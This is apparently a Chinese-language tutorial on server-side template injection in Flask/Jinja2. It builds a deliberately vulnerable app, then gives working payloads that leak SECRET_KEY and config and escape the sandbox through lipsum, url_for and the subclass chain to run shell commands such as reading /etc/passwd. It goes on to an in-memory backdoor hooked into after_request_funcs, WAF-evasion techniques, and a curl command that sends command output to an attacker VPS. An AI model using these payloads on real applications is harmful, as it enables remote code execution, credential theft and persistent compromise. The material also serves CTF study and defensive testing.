SSTI 概述与模版引擎基础
在 Python 中,SSTI(服务端模板注入)经常与 Jinja2、Django、Mako、Tornado 等模版引擎结合。其核心思想是:利用模板引擎解析机制的疏忽,将用户的不安全输入作为模板代码执行。
模版引擎基础语法 (Jinja2)
Python 的模版引擎大多采用相似的语法结构:
-
{% ... %}:用于执行控制语句(如for循环、if判断、赋值)。 -
{{ ... }}:用于表达式求值,并将结果打印渲染到页面上。
存在漏洞的测试环境代码
以下是一个典型的 Flask + Jinja2 漏洞环境(app.py):
from flask import Flask, request, render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = 'Super_Secret_Admin_Key'
@app.route('/')
def hello_world():
person = 'Guest'
if request.args.get('name'):
person = request.args.get('name')
# 【漏洞点】未经过滤的输入被直接拼接到模板字符串中
template = '<h1>Hi, %s.</h1>' % person
# 渲染字符串模板
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=True)
漏洞探测验证:
当我们请求 http://localhost:5000?name={{2*2}} 时,如果页面返回 Hi, 4.,则证明传入的内容被模板引擎解析运算,SSTI 漏洞存在。(注:Jinja2 原生屏蔽 + 号拼接,测试时推荐使用乘法)。
基于 Flask 原生模板的利用 (非沙箱逃逸)
在进行复杂的沙箱逃逸之前,攻击者通常会首先尝试非沙箱逃逸的利用方式。这种方式不涉及调用底层操作系统(不执行系统命令),而是直接利用 Web 框架(如 Flask)默认注入到模板上下文中的全局对象,造成严重的信息泄露。
1. 利用 config 对象泄露配置项
config 是 Flask 的全局配置对象。由于模板引擎默认允许访问该对象,攻击者可以直接将其打印出来。
# 攻击 Payload
{{ config }}
回显结果示例:
Hi, <Config {'ENV': 'development', 'DEBUG': True, 'SECRET_KEY': 'Super_Secret_Admin_Key', 'SQLALCHEMY_DATABASE_URI': 'mysql://root:root123@localhost/db', ...}>.
危害:直接获取 SECRET_KEY 可用于伪造客户端 Session 登录后台;泄露数据库密码可用于进一步内网渗透。
利用 request 对象获取请求上下文
request 对象在 Flask 中包含了基于 HTTP 请求传递的所有信息。攻击者可以利用它探测隐藏参数或伪造请求。
代码段
# 获取 GET 参数字典
{{ request.args }}
# 获取 POST 表单数据
{{ request.form }}
# 获取当前请求的 HTTP 头部信息
{{ request.headers }}
# 获取当前服务器的环境变量与运行配置 (极高危信息泄露)
{{ request.environ }}
利用 url_for 和 get_flashed_messages
虽然这两个主要是函数,但在不加括号调用时,也可以查看到它们所属的内存地址,或者辅助判断当前环境。
{{ url_for }}
{{ get_flashed_messages }}
沙箱逃逸的核心机制:Python 语言特性
当简单的信息泄露无法满足需求时,攻击者就需要进行沙箱逃逸(Sandbox Escape),目的是突破模板引擎的限制,执行底层的 Python 代码,最终获得操作系统的控制权(RCE)。
沙箱逃逸的基石是 Python 的面向对象特性——万物皆对象。通过对象的“魔术属性(Magic Attributes)”,我们可以实现“对象 → 类 → 基类 → 所有子类 → 危险模块”的跨越。
核心魔术属性速查表
| 属性 | 作用 | SSTI 逃逸意义 | 代码示例 |
|---|---|---|---|
__class__ | 获取当前实例所属的类 | 攻击链起点,从普通变量跳到类 | "".__class__ |
__bases__ | 获取类的基类元组 | 向上回溯继承树 | str.__bases__ |
__base__ | 获取第一个基类 | 快速访问 object | str.__base__ |
__subclasses__() | 获取类的所有子类列表 | 极高危,获取环境中所有已加载的类 | object.__subclasses__() |
__globals__ | 获取函数所在模块的全局字典 | 极高危,寻找 os 或 __builtins__ | func.__globals__ |
__builtins__ | 内置函数和异常的集合 | 极高危,直接获取 eval, import | __builtins__['eval'] |
(注:某些特殊包装器如 slot wrapper (如 __str__) 或 method-wrapper (如 __call__) 的 __globals__ 访问受限,在构造 Payload 时需尽量寻找原生的 __init__ 或普通函数。)
沙箱逃逸 Payload 构造实战
通过全局函数对象直接获取 os 模块
如果模板环境中默认存在 lipsum、url_for 等全局函数,由于这些函数在定义时其全局命名空间中通常已经 import os,我们可以直接截胡。
Payload 1:利用 lipsum 逃逸
# 1. 查看 lipsum 的全局变量字典
{{ lipsum.__globals__ }}
# 2. 从中提取 os 模块并调用 popen 执行系统命令
{{ lipsum.__globals__['os'].popen('whoami').read() }}
Payload 2:利用 url_for 逃逸
{{ url_for.__globals__.os.popen('id').read() }}
万能路线:基于类继承链获取 object 子类
当捷径被封堵时,最通用的沙箱逃逸方法是从基础数据类型(如字符串 ""、列表 []、数字 0)出发,爬升到顶级父类 object,然后遍历其所有子类寻找可用的高危类。
编写探测脚本获取可用类索引
不同的 Python 环境,类的加载顺序不同,索引号也不同。可以通过以下 Jinja2 语法遍历并打印出所有子类及其索引:
{% set classes = "".__class__.__base__.__subclasses__() %}
{% for class in classes %}
{{ loop.index0 }}: {{ class.__name__ }} ({{ class.__module__ }}) <br>
{% endfor %}
寻找并利用高危类
假设在上一步的结果中,发现了 os._wrap_close 类的索引为 132。这个类的 __init__ 函数的全局变量中必定包含 os 模块。
通过 os._wrap_close 逃逸
# 获取类 -> 获取基类 -> 获取所有子类中的第 132 个 -> 进入初始化方法 -> 读取全局变量 -> 获取 builtins -> 执 eval
{{ "".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('whoami').read() }}
假设发现了 subprocess.Popen 类的索引为 535。这是一个特殊的类,它可以直接用于执行命令,无需经过 __globals__。
通过 subprocess.Popen 直接逃逸
# 实例化 Popen 类直接执行命令,通过 communicate() 获取回显
{{ "".__class__.__bases__[0].__subclasses__()[535]('cat /etc/passwd', shell=True, stdout=-1).communicate()[0] }}
利用 __builtins__ 执行任意代码
如果找不到直接包含 os 的类,只要能找到一个包含 __builtins__ 的全局空间,就可以利用 eval 函数动态导入任意模块。
Payload 5:通过 __builtins__ 动态导入 os
# 假设通过 request 对象的所属类找到了 globals
{{ request.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()") }}
进阶利用:内存马注入
在某些环境下,即使存在 SSTI 漏洞,页面也没有任何回显(Blind SSTI),或者我们希望留下一个持久化的后门。此时可以通过沙箱逃逸,动态修改 Flask 的内部路由机制,打入内存马。
内存马 Payload 剖析:
核心思路是利用 eval 将一个匿名函数(lambda)追加到 Flask 的 app.after_request_funcs(请求处理完毕后的回调函数列表)中。这样,每次访问网页,程序都会偷偷执行我们通过 cmd 参数传进去的命令。
{{
url_for.__globals__['__builtins__']['eval'](
"app.after_request_funcs.setdefault(None, []).append(\n"
" lambda resp: \n"
" CmdResp if request.args.get('cmd') \n"
" and exec(\n"
" \"global CmdResp; CmdResp = __import__('flask').make_response(\"\n"
" \"__import__('os').popen(request.args.get('cmd')).read())\"\n"
" ) == None \n"
" else resp\n"
")",
{
'request': url_for.__globals__['request'],
'app': url_for.__globals__['current_app']
}
)
}}
利用方式:打入该 Payload 后,访问 http://localhost:5000/?cmd=whoami 即可直接执行命令并获取回显。
针对沙箱逃逸的 WAF 绕过技巧
防御者经常会针对沙箱逃逸中常用的特殊字符(如 .、_、[)或危险关键字(如 class, os, eval)进行拦截。
过滤了点号 . 或中括号 []
在 Jinja2 中,可以使用 |attr() 过滤器等价替换点号属性访问。使用 __getitem__ 替换字典的键值读取。
# 原生 Payload
{{ "".__class__ }}
{{ lipsum.__globals__['os'] }}
# 绕过 Payload
{{ ""|attr("__class__") }}
{{ lipsum|attr("__globals__")|attr("__getitem__")("os") }}
过滤了下划线 _ 或关键字 (字符串拼接法)
可以将关键字拆分拼接,避开静态正则检测。
# 绕过对 __globals__ 和 os 的检测
{% set a = "_" %}
{% set b = "glo" %}
{% set c = "bals" %}
{{ lipsum|attr(a+a+b+c+a+a)|attr("__getitem__")('o'+'s')|attr('popen')('id')|attr('read')() }}
request 传参绕过法 (最强大)
如果 WAF 对模板内的字符过滤极其严格,我们可以利用 Flask 的 request 对象,将危险参数通过 GET/POST 请求从外部传入,因为 WAF 的规则往往只针对 URL 中直接拼接模板的地方,而忽略了对其他参数的检测。
示例场景: 模板中过滤了 os, class, popen。
前端请求 URL:
http://localhost:5000/?name={{ ""[request.args.c1][request.args.c2][0][request.args.c3]()[132].__init__[request.args.g][request.args.p](request.args.cmd).read() }}&c1=__class__&c2=__bases__&c3=__subclasses__&g=__globals__&p=popen&cmd=ls
等价于在模板中执行了:
"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read()
盲注与带外通信 (OOB)
当没有任何回显时,如果可以使用 {% %} 标签,我们可以使用 print 强制向控制台输出,或者使用 curl 携带执行结果向攻击者的 VPS 发起请求。
# [GHCTF 2025] 经典 WAF 绕过盲打 Payload 结构
{% set po = dict(po=a, p=b)|join %}
{% set a = (()|select|string|list)|attr(po)(24) %}
{% print(lipsum|attr(a+a+'glo'+'bals'+a+a)|attr(a+a+'ge'+'titem'+a+a)('o'+'s')|attr('po'+'pen')('curl http://vps_ip/?data=`whoami`')|attr('read')()) %}